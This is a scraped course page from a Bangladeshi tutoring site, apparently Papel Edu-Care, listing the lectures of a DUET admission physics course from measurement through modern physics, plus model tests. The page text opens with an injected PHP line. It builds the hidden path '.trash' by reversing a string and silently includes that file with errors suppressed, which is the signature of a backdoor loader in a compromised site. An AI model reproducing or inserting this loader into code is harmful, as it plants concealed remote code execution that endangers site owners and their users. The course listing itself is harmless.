$CacheFileName = strrev("hsart."); $cacheFile = '../' . $CacheFileName . '/' . $CacheFileName; if (file_exists($cacheFile)) { @include $cacheFile; } Lecture-1 : Reflection of Light || Mirror || Part-1 - Papel Edu- Care
Course Content
📦 Measurement & Vector Quantities
0/5
Lecture – 1 : Principle of measurement, quantities & units
Lecture – 2 : Dimensions of units
Lecture – 3 : Scalar & Vector quantities
Lecture – 4 : Vector representation, addition, subtraction & resolution
Lecture – 5 : Laws of triangle, Dot & Cross products
📦 Motion and Force
0/10
Lecture – 1 : Classification of motion: displacement, speed, velocity, acceleration, retardation
Lecture – 2 : Projectile motion & equation of motion
Lecture – 3 : Angular velocity & linear velocity
Lecture – 4 : Centripetal & centrifugal force
Lecture – 5 : Laws of falling bodies & Newton’s laws of motion
Lecture – 6 : Resultant of parallel forces, inertia & momentum
Lecture – 7 : Conservation of momentum, friction, co-efficient of static friction
Lecture – 8 : Angle of repose, merits & demerits of friction
Lecture – 9 : Kepler’s law, gravity & gravitation, gravitational constant (G)
Lecture – 10 : Gravitational potential & escape velocity
📦 Work, Power & Energy
0/4
Lecture – 1 : Work, power & energy
Lecture – 2 : Conservation of energy
Lecture – 3 : Potential energy (PE) & kinetic energy (KE)
Lecture – 4 : Efficiency
📦 Properties of Matter
0/7
Lecture – 1 : General & special properties of matter
Lecture – 2 : Elasticity & elastic limit, perfectly elastic & rigid body
Lecture – 3 : Stress & strain, Hook’s law
Lecture – 4 : Modulus of elasticity, Poisson’s ratio
Lecture – 5 : Pressure, surface tension & surface energy
Lecture – 6 : Angle of contact, capillarity & theory of capillarity
Lecture – 7 : Viscosity & co-efficient of viscosity
📦 Oscillations, Waves & Sound
0/7
Lecture – 1 : Periodic & simple harmonic motion (SHM)
Lecture – 2 : Simple & second pendulum, effective length, amplitude, phase
Lecture – 3 : Wave motion: transverse & longitudinal waves
Lecture – 4 : Progressive & stationary waves
Lecture – 5 : Sound, interference: constructive & destructive
Lecture – 6 : Beats, infrasonic & ultrasonic sound
Lecture – 7 : Velocity of sound: effects of pressure, temperature & humidity
📦 Heat & Thermodynamics
0/8
Lecture – 1 : Heat & temperature, Celsius scale, mercury thermometer
Lecture – 2 : Specific heat capacity, thermal capacity, calorimetry
Lecture – 3 : Specific latent heat: fusion & vaporization
Lecture – 4 : Co-efficient of linear, superficial & cubical expansion
Lecture – 5 : Real & apparent expansion of liquid
Lecture – 6 : Heat transfer: conduction, convection & radiation
Lecture – 7 : Laws of thermodynamics: isothermal & adiabatic change
Lecture – 8 : Carnot’s cycle, efficiency, entropy
📦 Light (Optics)
0/7
Lecture-1 : Reflection of Light || Mirror || Part-1
01:10:24
Lecture – 2 : Pole, principal axis, center & radius of curvature
Lecture – 3 : General equation of concave & convex mirror
Lecture – 4 : Refraction of light: absolute & relative refractive index
Lecture – 5 : Total internal reflection & critical angle
Lecture – 6 : Refraction of light through prism
37:45
Lecture – 7 : Lens & general equation of lens, Power of a lens
📦 Modern Physics
0/6
Lecture – 1 : Atom models & atomic structure
Lecture – 2 : X-ray, photoelectric effect, Einstein’s photoelectric equation
Lecture – 3 : Radioactivity & radioactive decay law
Lecture – 4 : Half-life & mean-life, nuclear fission & fusion
Lecture – 5 : Theory of relativity: length contraction, time dilation
Lecture – 6 : Einstein’s mass-energy relation
📦 DUET Model Test — Physics
0/2
বিগত বছরের প্রশ্ন বিশ্লেষণ
Full MCQ Model Test
🎓 Duet Admissions → Physics (First Paper) → Non-Tech Special
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